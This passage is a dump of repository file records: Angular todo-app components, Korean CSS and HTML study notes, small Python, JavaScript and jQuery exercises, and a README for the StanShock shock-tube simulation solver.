32.58035659790039, "blob_id": "92dc77009971f4f50481f509f3df51ad4b06dc4b", "content_id": "103ad940624eac3c399ea251e1ab0cad4c725e68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 3760, "license_type": "no_license", "max_line_length": 156, "num_lines": 112, "path": "/Todo/v4/src/app/app.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { TodoFilterPipe } from './todo-filter.pipe';\nimport { Component, OnInit } from '@angular/core';\n\ninterface Todo {\n id: number;\n content: string;\n completed: boolean;\n}\n\n\n@Component({\n selector: 'app-root',\n template: `\n <div class=\"container\">\n <div class=\"row\">\n <div class=\"col-md-8 col-md-offset-2\">\n <h1 class=\"title\">Todos</h1>\n <input class=\"form-control input-lg\" placeholder=\"What needs to be done?\"\n autofocus [(ngModel)]=\"content\" (keyup.enter)=\"addTodo()\">\n <ul class=\"nav nav-xs nav-pills\">\n <li *ngFor = \"let navItem of navItems\" [class.active]=\"navItem === selectedNavItem\">\n <a (click)=\"setCurrentNavItem(navItem)\">{{navItem}}</a>\n </li>\n </ul>\n <ul id=\"todo-list\" class=\"list-group\">\n <li *ngFor = \"let todo of (todos | todoFilter : selectedNavItem)\" class=\"list-group-item\">\n <div class=\"hover-anchor\">\n <a class=\"hover-action text-muted\">\n <span class=\"glyphicon glyphicon-remove-circle pull-right\" (click)=\"removeTodo(todo.id)\"></span>\n </a>\n <label class=\"i-checks\" [for]=\"todo.id\">\n <input type=\"checkbox\" [id]=\"todo.id\" [checked]=\"todo.completed\" (change)=\"toggle(todo.id)\"><i></i>\n <span>{{todo.content}}</span>\n </label>\n </div>\n </li>\n </ul>\n <div class=\"col-xs-6\">\n <label class=\"i-checks\" style=\"padding-left: 20px\">\n <input id=\"chk-allComplete\" type=\"checkbox\" (change)=\"toggleAllTodoAsCompleted($event.target.checked)\" ><i></i><span>Mark all as complete</span>\n </label>\n </div>\n <div class=\"col-xs-6 text-right\">\n <button (click)=\"removeCompletedTodos()\" class=\"btn btn-default btn-xs\">Clear completed (<span>{{getCompletedTodos()}}</span>)</button>\n <strong>{{leftTodos()}}</strong> items left\n </div>\n </div>\n </div>\n <pre>{{ todos | json }}</pre>\n </div>\n `,\n styles: []\n})\nexport class AppComponent implements OnInit{\n todos : Todo[];\n content: string;\n navItems: string[];\n selectedNavItem: string;\n\n\n ngOnInit() {\n this.todos = this.getTodos();\n this.navItems = ['All', 'Active', 'Completed'];\n this.selectedNavItem = this.navItems[0];\n }\n \n getTodos() {\n return [\n { id: 1, content: 'HTML', completed: true },\n { id: 2, content: 'CSS', completed: true },\n { id: 3, content: 'Javscript', completed: false }\n ];\n };\n\n addTodo() { \n this.todos = [...this.todos, ({ id: this.getId(), content: this.content, completed: false })];\n this.content = ''; \n }\n \n getId() {\n return this.todos ? Math.max(...this.todos.map(({ id }) => id)) + 1 : 1;\n }\n\n removeTodo(id) {\n this.todos = this.todos.filter(todo => todo.id !== id);\n }\n\n setCurrentNavItem(navItem) {\n this.selectedNavItem = navItem;\n }\n\n toggle(id) {\n this.todos = this.todos.map(todo => (\n todo.id === (+id) ? Object.assign({}, todo, {\n completed: !todo.completed\n }) : todo\n ));\n }\n\n toggleAllTodoAsCompleted(checked) {\n this.todos = this.todos.map(({ id, content }) => ({ id, content, completed: checked }));\n }\n\n removeCompletedTodos(){\n this.todos = this.todos.filter(({completed}) => !completed);\n }\n getCompletedTodos(){\n return this.todos.filter(({completed}) => completed).length;\n }\n leftTodos(){\n return this.todos.filter(({completed}) => !completed).length;\n }" }, { "alpha_fraction": 0.6282722353935242, "alphanum_fraction": 0.6282722353935242, "avg_line_length": 22.875, "blob_id": "b1f2cbf57f4e84c95cade511fd8043aba3663498", "content_id": "1e493bd60387d76e12160f8c046dd7f2e60fd3fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 573, "license_type": "no_license", "max_line_length": 90, "num_lines": 24, "path": "/Todo/v5/src/app/todo-nav.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';\n@Component({\n selector: 'todo-nav',\n template: `\n <ul class=\"nav nav-xs nav-pills\">\n <li *ngFor = \"let navItem of navItems\" [class.active]=\"navItem === selectedNavItem\">\n <a (click)=\"setCurrentNavItem.emit(navItem)\">{{navItem}}</a>\n </li>\n </ul>\n `,\n styles: []\n})\nexport class TodoNavComponent implements OnInit {\n \n \n @Input() selectedNavItem: string;\n @Input() navItems : string[];\n @Output() setCurrentNavItem = new EventEmitter();\n\n\n ngOnInit() {\n }\n\n}\n" }, { "alpha_fraction": 0.6496062874794006, "alphanum_fraction": 0.6584645509719849, "avg_line_length": 21.808988571166992, "blob_id": "9bb23ccda6becfd598f7b961d2dffee84c66ff93", "content_id": "424a3d031cf5d3ea95fd8745805357abe271e3e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3662, "license_type": "no_license", "max_line_length": 112, "num_lines": 89, "path": "/html_css/layout.md", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "\n\n# display: flex;\n- http://flexboxfroggy.com/\n- ie 11이상 부터 구현 가능 (원활하지 않음)\n- flex아이템은 자식요소가 부모요소의 width값을 넘어도 float처럼 레이아웃이 틀어지지 않음\n- 부모 요소에 주어야함\n- 저절로 비율값으로 축소되서 나타남\n- 열을 변경하고 싶다면, flex-wrap을 사용\n\n### A, flex-direction\n- row / cloumn이냐에 따라 가로 or 세로가 메인축이 됨\n- 메인축의 반대가 교차축이 됨\n- 속기법] flex-flow: dircetion / wrap;\n\n### A, justify-content\n- '메인축'을 기준으로 움직임\n- flex-direction이 reverse라면 기준축 역시 함께 반전됨\n- 따라서 justify-content 값 역시 함께 반전\n\n\n### A, align-items\n- '교차축'을 기준으로 움직임\n\n\n### order\n- 기본값: 0\n- 마크업 순서를 바꾸고 싶을때\n\n### align-content:\n- flex-wrap속성을 썼을때만 사용가능\n- 다중정렬 간격을 조정함\n\n\n# display: grid\n- http://cssgridgarden.com/\n- grid 칸이 아니라, 라인을 기준으로 움직임.\n- 음수값을 줄 수 있음\n- span으로 연속성 가능\n- [속기법]grid-area: row-start / column-start / row-end / column-end;\n\n\n# display: float\n- 부모가 자식요소의 높이를 감지하지 못하게되는 문제가 발생\n- ie에서 호환되기 때문에 레이아웃을 잡는 고전적 방법\n- float되는 순간, block요소가 됨 (inline으로 바꾸려해도 바꿔지지 않음)\n- 마진 병합 현상이 일어나지 않음\n\n## 자식요소의 높이 감지못하는 float 문제 해결방안\n1. 부모에게 overflow: hidden\n - 넘어가는 것을 안보이게 하려는 감지를 위해 한번 더 검사하기 때문에, 확인\n\n2. 마크업 상, 뒤에 나오는 요소에 clear: both\n - 블록요소에만 가능함\n - float값의 height만큼 마진값을 강제로 갖게됨\n - 마진병합현상이 일어나기때문에 float값을 가진 요소가 height: 100px이라면 50px의 마진을 위해 150px을 주어야함\n\n - *마진은 일반적 flow상황에서는 마진병합이 일어나지만,\n float에서는 각자의 값을 가진다.*\n\n3. 부모에게 선택자::after를 주는법\n - 실제 마크업이 아닌, 가상 마크업을 추가하는 법 (드래그X)\n - 속성값 content:\"\";를 가져야만 의미가 생김\n - 인라인 요소기때문에, 전체열을 원한다면 display:block설정\n - clear:both를 주어 float를 가진 요소의 height만큼 강제 마진 추가로 띄울수있음\n - *after는 같은 자식요소로 취급되기 때문에, 후에 flex, space-between 으로 display 방법을 바꿔도 원하는 마지막 요소가 오른쪽 벽에 붙지 않는다. 꼭! 삭제해줄 것*\n\n\n## Position 속성값 특징\n 1. static\n - 기본 값\n\n 2. relative\n - 자기가 있었던 자리를 기준으로 움직임\n - 허공에 살짝 뜨지만, 흐름을 깨지 않음\n - 자기가 있었던 자리가 비어 있음\n\n 3. fixed\n - 레이어가 생기듯 허공에 뜸\n - 뷰 포트(화면)를 기준으로 움직임\n - 자기가 있었던 자리를 잃어버림\n\n 4. absolute\n - 레이어가 생기듯 허공에 뜸\n - 자기가 있었던 자리를 잃어버림\n - 상위요소를 기준으로 움직임\n - 그러나 상위요소가 static일 경우 무시, 그 위 상위요소로 올라감\n - 즉, 기준점으로 원하는 상위 요소에 position:relative를 줌 \n (다른 속성값은 전체 레이어에 영향을 미칠 수 있기 때문에)\n - 크기값(width) 역시 기준값을 상속받는다.\n - 인라인 요소였어도 absolute하는순간 블록화 됨\n" }, { "alpha_fraction": 0.5677244663238525, "alphanum_fraction": 0.5715944170951843, "avg_line_length": 25.639175415039062, "blob_id": "8599021e022d02cc036eac2da08dd061d3c61258", "content_id": "ff67f23ae28cd11ef26bf8015df8a3366c809172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2584, "license_type": "no_license", "max_line_length": 92, "num_lines": 97, "path": "/Todo/v5_practice/src/app/todo-container.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { Todo } from './todo';\n\n@Component({\n selector: 'app-todo-container',\n template: `\n <div class=\"container\">\n <div class=\"row\">\n <div class=\"col-md-8 col-md-offset-2\">\n <h1 class=\"title\">Todos</h1>\n\n <app-todo-form [content]=\"content\" (addTodo)=\"addTodo($event)\"></app-todo-form>\n\n\n <app-todo-nav\n [navItems]= \"navItems\"\n [selectedNavItem]= \"selectedNavItem\"\n (setCurrentNavItem)= \"setCurrentNavItem($event)\"\n ></app-todo-nav>\n\n\n <app-todo-list\n [todos]= \"todos\"\n [selectedNavItem]= \"selectedNavItem\"\n (toggle)= \"toggle($event)\"\n (removeTodo)= \"removeTodo($event)\"\n ></app-todo-list>\n\n\n <app-todo-footer\n [cntCompletedTodos] = \"completedTodos()\"\n [cntLeftTodos] = \"leftTodos()\"\n (toggleAllCompleted) = \"toggleAllCompleted($event)\"\n (removeCompletedTodos) = \"removeCompletedTodos()\"\n ></app-todo-footer>\n </div>\n </div>\n <pre>{{ todos | json }}</pre>\n </div>\n `,\n styles: []\n})\nexport class TodoContainerComponent implements OnInit {\n todos: Todo[];\n navItems: string[];\n selectedNavItem: string;\n content: string;\n\n ngOnInit() {\n this.todos = this.getTodos();\n this.navItems = ['All', 'Active', 'Completed'];\n this.selectedNavItem = this.navItems[0];\n }\n\n getTodos() {\n return [\n { id: 1, content: 'HTML', completed: true },\n { id: 2, content: 'CSS', completed: true },\n { id: 3, content: 'Javscript', completed: false }\n ];\n };\n\n addTodo(content) {\n this.todos = [...this.todos, ({ id: this.getId(), content, completed: false })];\n };\n\n getId() {\n return this.todos ? Math.max(...this.todos.map(({ id }) => id)) + 1 : 1;\n };\n\n setCurrentNavItem(navItem) {\n this.selectedNavItem = navItem;\n };\n\n removeTodo(id) {\n this.todos = this.todos.filter((todo) => todo.id !== id);\n };\n toggle(id) {\n this.todos = this.todos.map(todo => (\n todo.id === (+id) ? Object.assign({}, todo, { completed: !todo.completed }) : todo));\n };\n\n toggleAllCompleted(checked) {\n this.todos = this.todos.map(({ id, content }) => ({ id, content, completed: checked }));\n\n };\n removeCompletedTodos() {\n this.todos = this.todos.filter(({ completed }) => completed == false);\n };\n completedTodos() {\n return (this.todos.filter(({ completed }) => completed === true)).length;\n };\n leftTodos() {\n return (this.todos.filter(({ completed }) => completed === false)).length;\n };\n\n}\n" }, { "alpha_fraction": 0.5606299042701721, "alphanum_fraction": 0.5637795329093933, "avg_line_length": 21.678571701049805, "blob_id": "3b5ce8b84bfabb7108d0f1960f52bdd3ded624c6", "content_id": "37d4067f1e7c9a819ae2b740c0987c32f5b211ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 635, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/Todo/ng_teacher/todo-list.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, Input, Output, EventEmitter } from '@angular/core';\nimport { Todo } from './todo';\n\n@Component({\n selector: 'todo-list',\n template: `\n <ul>\n <li *ngFor=\"let todo of todos | todoFilter: status\">\n <span>{{ todo.content }}</span>\n <button (click)=\"removeTodo.emit(todo.id)\">x</button>\n </li>\n </ul>\n <pre>{{ todos | json }}</pre>\n <pre>{{ status }}</pre>\n `,\n styles: [`\n span {\n display: inline-block;\n width: 50px;\n }\n `]\n})\nexport class TodoListComponent {\n\n @Input() todos: Todo[];\n @Input() status: string;\n @Output() removeTodo = new EventEmitter();\n}\n" }, { "alpha_fraction": 0.6269315481185913, "alphanum_fraction": 0.6269315481185913, "avg_line_length": 21.649999618530273, "blob_id": "b92333a273eeb0731552b4d29278d071426722b7", "content_id": "60973fe34e9c77ad76263bb62f8611040448bcfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 453, "license_type": "no_license", "max_line_length": 56, "num_lines": 20, "path": "/Todo/v4/src/app/todo-filter.pipe.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({\n name: 'todoFilter'\n})\nexport class TodoFilterPipe implements PipeTransform {\n\n transform(todos: any, selectedNavItem?: string): any {\n if (!todos) return;\n return todos.filter(({ completed }) => {\n switch (selectedNavItem){\n case 'Active' : return completed === false;\n case 'Completed' : return completed === true;\n default: return true;\n }\n })\n \n }\n\n}\n" }, { "alpha_fraction": 0.5860165357589722, "alphanum_fraction": 0.5933762788772583, "avg_line_length": 22.06382942199707, "blob_id": "08e76e74bbd9ae800a8255cd82d06d6e9915e28c", "content_id": "c18506d63b389bbde62329f86dabdeac773f69ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1313, "license_type": "no_license", "max_line_length": 53, "num_lines": 47, "path": "/python/procedure/function.py", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "\n# coding: utf-8\n\n# In[4]:\n\n\n#functions.py\n\nfrom openpyxl import *\nimport math\n\ndef average(scores):\n #scores -> 점수리스트\n s = 0\n for score in scores:\n s += score\n return round(s / len(scores), 1)\n\ndef variance(scores, avrg): \n s = 0\n for score in scores:\n s += (score - avrg)**2\n return round(s / len(scores), 1)\n\n\ndef std_dev(variance): \n return round(math.sqrt(variance), 1)\n\ndef get_data_from_excel(filename): \n raw_data = {}\n wb = load_workbook(filename)\n ws = wb.active\n g = ws.rows\n for k, v in g:\n raw_data[k.value] = v.value\n return raw_data\n\n\n#total_avrg: 전체 평균, sd : user가 선택하는 기준 표준 편차\ndef evaluateClass(avrg, total_avrg, std_dev, sd):\n if avrg < total_avrg and std_dev > sd:\n print(\"성적이 너무 저조하고 학생들의 실력 차이가 너무 크다.\")\n elif avrg > total_avrg and std_dev > sd:\n print(\"성적은 평균이상이지만 학생들 실력 차이가 크다. 주의 요망!\")\n elif avrg < total_avrg and std_dev < sd:\n print(\"학생들간 실력차는 나지 않으나 성적이 너무 저조하다. 주의 요망!\")\n elif avrg > total_avrg and std_dev < sd:\n print(\"성적도 평균 이상이고 학생들의 실력차도 크지 않다.\")\n\n\n" }, { "alpha_fraction": 0.6582987308502197, "alphanum_fraction": 0.6786307096481323, "avg_line_length": 25.048648834228516, "blob_id": "325a6bc694b7d6c1fcd4db764c26b886437298ca", "content_id": "7ce330f05c90b88b17cafd91a3bf3a133bfeef6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8113, "license_type": "no_license", "max_line_length": 100, "num_lines": 185, "path": "/html_css/tag_css.md", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "\n## [class^=\"heading\"]{}\n - 속성 선택자, 헤딩이라는 속성을 가진 클래스를 다 선택하는 선택자\n\n\n### <span tabindex=\"0\">\n- span태그가 의미없는 태그(공실)여도, 키보드 포커스를 받을 수 있도록 tabindx를 씀\n\n\n### display:block;\n- 인라인 요소가 블럭이 되는 순간 상위요소의 블럭만큼의 크기를 갖게됨\n- line-height값까지 상속받음\n\n\n### display: inline-block;\n- ie6, 7에선 구현X\n- 인라인 요소는 엔터(포매터 자동)를 치는 형식이 공백을 의미하게됨.\n- 이떄 부모 선택자에 font-size: 0;을 주고 원래 애한테 계획된 폰트 사이즈를 별도로 입력. 공백은 0이 되게 된다.\n\n### box-size: border-box;\n - 패딩, 보더를 포함하여 지정한 width값을 가져라. 기본 width값 계산 알고리즘 변하기\n - 특히 모바일에서 많이 사용됨\n\n\n### border-radius\n- border-radius: 0 0 50px 50px / 0 0 15px 15px;\n- 뒤에 4개는 Y축임, 더욱 완만한 곡선으로\n\n\n### font\n- 속기법을 쓸때는 폰트패밀리 명이 꼭 마지막에!\n- 앞에 weight, style, capital, 3개는 순서 상관 없음\n- 이후에 font/line-height, font-family순으로\n\n\n### 아이콘 텍스트\n- http://fontello.com/\n- 다운받아서, 폰트파일 업로드\n- css파일에서 @font-face 따오기\n- demo.html에서 모양별 이름 확인\n- 확인한 이름으로 문자별 할당된 content 값을 적용\n- 폰트처럼 똑같이 color, size등의 속성을 가질 수 있음.\n\n### white-space\n- white-space: nowrap; 일때는 해당하는 요소가 절대 열바꿈 하지 않도록 함\n- 즉, 인라인요소인 부모선택자의 너비를 넓혀가면서까지 열바꿈 허용 안함\n\n### text-shadow\n- text-shadow: 1px 1px 0 #999, 2px 2px 0 #000;\n- ,를 이용해 다중으로 입힐 수 있음\n- 좌표 좌표 블러링 색상 순\n\n\n### box-shadow\n- x좌표 y좌표 블러 스프레드 색상 순\n\n## Animation\n1. @keyframes 정의\n- 이름값을 설정하고 {}염\n- 그 안에 시작점의 상태와 종료지점의 변화상태 속성을 기록\n- from{}/to{} 하거나, 0%{}/100%{}로 가능\n\n2. 적용\n 1. 적용할 클래스요소에 animation: 이름 시간(duration); (필수)\n 2. animation-fill-mode: forwards;를 하면 완료지점 상태를 유지\n 3. animation-iteration-count: # ~ infinite;\n 4. animation-direction: alternate; (순방향-역방향 순환)\n 5. animation-delay: #s; 지연시키기\n 6. animation-timing-function: ease-in-out; 시간조절 효과\n - cubic-bezier사이트로 내가 원하는대로 적용 가능\n 7. animation-play-state: paused;\n 8. 속기법] animation: text-ani 1s forwards infinite alternate ease-in-out 1s;\n\n## **transition**\n- hover가 아니라 트리거가 될 클래스에 지정. (animation과 다른점!)\n- hover에는 변했을때의 속성 상태값만 선언\n- 변할 속성이 여러개 가능 (,로 다중 지정 가능)\n- 즉, delay 역시 다중지정이 가능하여 순차적 동작도 가능\n- 모든 효과를 한번에 하고싶을때는 속성 값을 property값을 all로 해서 가능\n- 그러나 다중 지정을 각각 따로 효과를 주고 싶을때에는 세트 속기법 사용\n- eg] transition: height 1s 0s, background 1s 1s;\n\n\n1. transition-property: 변할 속성이름 적기 (height, width등)\n2. transition-duration: 변하는 시간\n3. transition-delay: 지연 시간\n\n\n\n## background\n- 속성] color, image, repeat, position, size, attachment\n- position: ## %주면 요소박스의 %와 배경이미지의 %둘다에 적용\n- background: orange url(\"images/logo.png\") no-repeat 0 0/contain;\n- 포지션 뒤에 /하고 100% 100% 또는 키워드로 cover, contain 올수있음\n- cover: 세로 기준으로 꽉 차게\n- contain: 가로 기준으로 꽉 차게 (세로는 Auto값)\n- 보통 반응형에 많이쓰이나, 배경은 처리하기가 어려워 가상의 이미지(src, alt)값을 주지 않고, ir기법으로 처리하듯 처리함\n\n\n### gradient\n- background-image: linear-gradient(to bottom, red 0%, blue 30%, green 100%);\n- 백그라운드 이미지에 할당해주어야하며, 그라디언트 타입을 불러옴\n- 속기법 background: #색상, 그라디언트(방향, 색상 %)로 하게되면 그라디언트를 지원하지 않는 브라우저에선, 색상이 나타나게됨\n- 이미지가 있다면 이미지, 아니면 색상이 나타나기 때문\n- 괄호 안에 방향, 색상 시작점%를 순서대로 나열\n- http://www.colorzilla.com/gradient-editor/\n\n\n### 배경 다중 적용\n- 하나의 객체에 배경을 다중으로 줄 수 있음\n- 색상, 이미지를 함께 쓰는 속기법으로는 다중으로 줄수 없음\n- 다중으로 적용할때는 이미지 속성 먼저 선언한 후, 색상 속성을 나중에 선언 (우선순위 문제)\n- 다중으로 쓸때는 가장 위에 올려놓고 싶은 배경이미지를 가장 먼저 선언\n\n\n## form\n- https://www.miketaylr.com/pres/html5/forms2.html\n1. form - fieldset(그루핑) - legend(타이틀)\n2. 각각 type 설정을 통해 형식을 부여 (text, password, tel, etc)\n3. label의 for에 input의 id값을 부여해서 연결\n4. input에 placeholder속성을 통해 입력란에 미리 글씨 입력가능\n5. required: 해당 input 영역이 필수로 채워져야 함을 나타냄\n\n\n\n**CSS 꿀팁**\n- 데코레이션 하는 대상과, 여백을 지정하는 대상을 구분해놓는 것이 이후에 유지보수하기 좋음\n- 동작하는 대상의 클래스(class-active)는 순서상 원상태의 css보다 뒤에 나와야 함\n- 유지 보수 시, css의 순서가 바뀌면 동작하지 않기 때문에 동작 클래스에는 !important를 붙이는게 좋음\n- html5부터는 인라인요소 안에 블럭요소를 둘수있게됨\n- 그러나 css에서 부모 인라인을 블럭화해줘야함\n- can i use에 사용할 수 없는 기능은 Resource칸에 polyfil을 활용하면 매칭이 가능해질수 있음 (확인요망) \n\n\n\n### calc(); 함수\n- width: calc(100% - 120px)\n- 전체에서 120px을 뺀 값을 자동 계산.\n- 연산자 양옆에는 공란(space) 필수!\n\n\n### time\n- 접근성으로 기계가 날짜임을 알수있도록\n- 필수속성 datetime=\"yy-mm-ddThh:mm:ss\"\n\n\n### CSS 글자수 제한\n- 말줄임표 사용 시, text-overflow:ellipsis;\n- text-overflow는 단독사용시 효과X\n- white-space:nowrap;\n- overflow:hidden;을 세트로 써야함.\n\n\n## IR (image replacement) 기법\n- 텍스트를 감추고, 이미지(배경)만 보여주는 방식\n\n1. padding속성 추가\n - css에 해당 마크업에 width, height, padding(top), overflow, box-sizing로 하는 방법\n - height만큼 패딩 값을 지정하여 안보이게\n - 이 방법은 마크업 태그가 button일 경우, 브라우저마다 height가 달라보이게 됨\n - 이때에는 해당태그 부모요소에 height를 지정해주고, 해당태그에 100%로 상속받게하면 해결\n\n\n2. 마크업에 빈요소(span) + position 추가\n - 해당하는 마크업안에 빈 요소를 두어, 클래스를 지정(ir-box)\n - 부모에 position relative, ir-box에 absolute로 두어 띄움\n - width:100%, height: 100%하여 부모와 크기 동일하게\n - 키 포커스를 받으려면 tabindex=\"0\" 추가\n - 여러개가 필요한 상태에 배경이미지가 반복으로 사용한다면, 잘라서 사용하도록 -> sprite image형식\n - **타스크러너..? 걸프, 그런트러너??스프라이트 스미스?? 웹팩??**\n - 서버에 배경이미지를 요청하고 응답하는 횟수를 줄여 더욱 빠르게 사용가능 \n\n3. 가상요소 추가\n\n\n\n### ol > li\n- ol 의 li는 list-style: none; 하는 순간, 순서의 의미를 잃어버림\n- 이럴때에는 counter-increment: number; 를 사용해서 보이진 않지만 순서의 의미를 더할수있음\n- counter-increment로 꾸미기가 가능해진 요소는 li:before {content: counter(number, decimal);}을 사용해 숫자가 나타나게 할수있음\n\n\n### blockquote, quote\n- 블럭 / 인라인 인용 태그\n- 속성: cite=\"인용 사이트\"\n- css속성 {quotes: \"[[\" \"]]\";}\n" }, { "alpha_fraction": 0.5742049217224121, "alphanum_fraction": 0.5812720656394958, "avg_line_length": 19.214284896850586, "blob_id": "e497b3c24baec29424f0e1da7c68d8c3f14f5aa0", "content_id": "e01b372e91ed14aac0cc45300ceb8a5fac9a6097", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 800, "license_type": "no_license", "max_line_length": 50, "num_lines": 28, "path": "/js/quiz/teacher/#04.js", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "/*\n# 4. 문자열 내 p와 y의 개수\n\nnumPY함수는 대문자와 소문자가 섞여있는 문자열 s를 매개변수로 입력받는다.\n대소문자를 구별하지 않으며 s에 'p'의 개수와 'y'의 개수를 비교해 같으면 true,\n다르면 false를 리턴하도록 함수를 완성하라.\n'p', 'y' 모두 하나도 없는 경우는 항상 true를 리턴한다.\n예를들어 s가 'pPoooyY'면 true를 리턴하고 'Pyy'라면 false를 리턴한다.\n*/\n\n// for 사용\nfunction numPY(s) {\n var cntP = 0;\n var cntY = 0;\n\n s = s ? s : '' + s;\n\n var lowerCaseStr = s.toLowerCase();\n\n for (var i = 0; i < lowerCaseStr.length; i++) {\n if (lowerCaseStr[i] === 'p') cntP++;\n if (lowerCaseStr[i] === 'y') cntY++;\n }\n\n return cntP === cntY;\n}\n\nconsole.log(numPY()); // true\n" }, { "alpha_fraction": 0.6008316278457642, "alphanum_fraction": 0.6008316278457642, "avg_line_length": 19.913043975830078, "blob_id": "006874be726c27bd9019090b1b25f405dd63fc0a", "content_id": "f92b836204735023458a946f5312ef37d1998edb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 499, "license_type": "no_license", "max_line_length": 54, "num_lines": 23, "path": "/Todo/ng_teacher/todo-filter.pipe.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({\n name: 'todoFilter',\n pure: false\n})\nexport class TodoFilterPipe implements PipeTransform {\n\n transform(todos: any, status?: string): any {\n\n if (!todos) return;\n\n // 필터링된 todos를 반환한다\n return todos.filter(({ completed }) => {\n switch (status) {\n case 'Active': return completed === false;\n case 'Completed': return completed === true;\n default: return true;\n }\n });\n }\n\n}\n" }, { "alpha_fraction": 0.6242707371711731, "alphanum_fraction": 0.6254375576972961, "avg_line_length": 36.30434799194336, "blob_id": "223cd5c9af80550b89da177e39b5a80d8868b744", "content_id": "8a8d29b26b17476a7b07bc51366283df4ddd7ffd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1053, "license_type": "no_license", "max_line_length": 85, "num_lines": 23, "path": "/html_css/webcafe/js/menu-tab.js", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "// .main-menu > li에 마우스를 올렸을때 해당요소 하위에 있는 자식요소인 .sub-menu에\n// 클래스를 toggle시킨다 ( sub-menu-active)\n$(document).ready(function() {\n var menu = $('.main-menu > li');\n var span = $('.main-menu span');\n var sub_last_item = $('.sub-menu li:last-child a');\n menu.hover(function() {\n $(this).find('.sub-menu').toggleClass('sub-menu-active');\n });\n //.main-menu span에 키보드 포커스가 진입했을 때, 형제 메뉴를 찾아서\n //토글이 아니라, 계속 켜져있어야하기 때문에 addClass!\n span.focusin(function() {\n $(this).siblings('.sub-menu').addClass('sub-menu-active');\n });\n //add class만 해서 계속 켜져있음. 마지막 li아이템에 a에 갔을때는 클래스를 없애라!\n sub_last_item.focusout(function() {\n $(this).parents('.sub-menu').removeClass('sub-menu-active');\n });\n var tab = $('.board h2');\n tab.on('click focusin', function() {\n $(this).parent().addClass('board-active').siblings().removeClass('board-active');\n });\n});" } ]
20
MinhBauLuong/StanShock
https://github.com/MinhBauLuong/StanShock
13bd0239d38cabf2731afbc01e70e86275237a18
f887b9d3d6cc88525425af337fc08c486d14f44b
64745d4c5b2c0633deb205bcce2023aa73508647
refs/heads/master
2020-05-25T07:57:05.341593
2019-04-11T00:14:42
2019-04-11T00:14:42
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.791455864906311, "alphanum_fraction": 0.7982012629508972, "avg_line_length": 38.511112213134766, "blob_id": "9a4af74a2f96960458c7fa043ce3fcd0f2cec3a5", "content_id": "a38fcfb2b72c75c46982dc99a4a9d53457dbb3bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1779, "license_type": "no_license", "max_line_length": 242, "num_lines": 45, "path": "/README.md", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "# StanShock\nAuthor: Kevin Grogan\n\nContained in this folder is StanShock v0.1. StanShock is a quasi-1D gas dynamics solver designed model shock tube experiments. \n\nThe provided version stanShock has the following capabilities:\n\n\tVariable cross-sectional area\n\tBoundary layer modeling\n\tMulticomponent gas interfaces\n\t\n\tReaction Chemistry\n\tSpecies and thermal diffusion\n\tGeometric Optimization\n\t\n\nStanShock is writen in object-oriented python, which allows the client to flexibly script and run stanShock cases. StanShock requires the following modules for full functionality\n\n\tnumpy (common python package for scientific computations)\n\tnumba (just-in-time compilation for significant speed-up)\n\tcantera (encapsulates the thermodynamics and kinetics)\n\tmatplotlib (plotting module)\n\tsciPy (module with additional common numerical algorithms)\n\nIt is recommended to install an anaconda distribution (https://www.continuum.io/downloads), which will contain all dependencies except cantera. Cantera (http://www.cantera.org/docs/sphinx/html/index.html) will require a separate installation.\n\nIncluded are six examples:\n\n\tlaminarFlame (laminar flame test case of stoichiometric H2/Air)\n\toptimization (driver insert optimization)\n\tvalidationCases (four validation test cases)\n\t\tcase1 (baseline)\n\t\tcase2 (step change in driver/driven area)\n\t\tcase3 (driver insert case)\n\t\tcase4 (disparate driver/driven mixtures)\n\nFiles include:\n\n\tstanShock.py (entirety of the StanShock solver code)\n\t*.{xml,cti} (cantera files containing the thermodiffusive properties)\n\t{laminarFlame,optimization,case{1..4}}.py (python driver scripts)\n\tcase{1..4}.csv (experimental shock tube data for the validation cases)\n\t*.pyc (compiled python code)\n \nPlease report any issues or bugs to the author at [email protected] or [email protected]. \n" }, { "alpha_fraction": 0.5986416339874268, "alphanum_fraction": 0.6471331715583801, "avg_line_length": 32.680850982666016, "blob_id": "4db5a718d7f07d56d4080ac153ce5ea66fcfc710", "content_id": "cb3624e39730e724103957209b3b033b24d71107", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6331, "license_type": "no_license", "max_line_length": 134, "num_lines": 188, "path": "/validationCases/case3/case3.py", "repo_name": 